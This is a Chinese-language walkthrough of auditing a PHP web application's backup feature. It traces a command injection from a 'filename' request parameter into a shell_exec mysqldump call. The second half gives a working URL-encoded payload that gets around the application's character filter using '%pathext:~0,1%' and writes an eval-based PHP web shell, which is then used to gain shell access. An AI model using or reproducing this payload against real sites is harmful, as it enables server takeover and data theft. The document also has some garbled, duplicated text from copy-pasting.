1、进入目标网站后台,查看有没有可以利用的漏洞点
-
在浏览后台网站之后发现,在数据备份处有一个系统**MySql Dump(shell)**的备份方式
-
由此联想到操纵计算机执行相关的命令,且获取所有数据的函数shell_exec()
2、全局搜索函数shell_exec()
-
发现有2个文件存在该函数
-
分别查看,进行审计
3、代码审计
文件:restore.php
第125行
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
- 其作用就是通过shell_exec函数将变量$file写入到数据库中
- 因此可以注意变量 f i l e ,看能否修改变量 file,看能否修改变量 file,看能否修改变量file
- 向上审计
第46行
$file = urldecode($id);
- 发现 f i l e 是变量 file是变量 file是变量id通过urldecode函数处理所得,不可控
- 进入下一个文件
文件:Database.php
第360行
shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
- 其中发现mysqldump,Mysql自带的一中备份工具,和前面浏览后台时有所对应
- 猜测,该文件可能就是提供备份功能的文件
- 而其中$dumpFile比较可疑,可能可以拿来利用
- 向上审计
第352行
$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . "/" . $backupFileName . ".sql";
- 先获取文件根路径并通过addslashes函数进行转义生成新的路径
- 拼接变量$backupFileName为文件名
- 固定文件后缀为.sql
- 查看变量$backupFileName,向上审计
第239行
$backupFileName = self::BACKUP_DIR . "/" . core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
-
发现 b a c k u p F i l e N a m e 是由变量 backupFileName是由变量 backupFileName是由变量fileName,经过str_replace()函数和路径拼接处理后所得
-
其中str_replace()函数将
"/", "\\", ".", "'"
都替换为了空 -
继续查看$filename,向上审计
第171行
$fileName = core\utils\Env::getRequest("filename");
- 发现$filename是通过request请求传入的参数
filename
获得 - 去后台数据备份页面抓包,去看看有没有参数
filename
4、抓包测试
- 发现存在参数filename
- 由此可以尝试通过控制参数filename写入恶意代码
5、思路整理
-
通过函数shell_exec执行我们写入生成php文件的代码
-
方法:使用管道符进行多条命令执行
-
&echo <?php%20eval($_REQUEST[6]);?> >7.php&
-
-
-
由于其中对传入的filename进行了过滤,
"/", "\\", ".", "'"
都替换为了空-
尝试绕过点
.
的过滤 -
方法:切割环境变量
%pathext:~0,1%
来获取点.
-
&echo <?php%20eval($_REQUEST[6]);?> >7%pathext:~0,1%php&
-
-
其中POST传参中&符号是连接多个参数,这里的**管道符&**不能直接使用
- 使用url编码
-
构造payload
-
%26echo%20"<?php%20eval($_REQUEST[6]);?>"%20>7%pathext:~0,1%php%26
-
-
抓包修改数据,写入payload
6、查看结果
- 插入成功
- 使用菜刀获取shell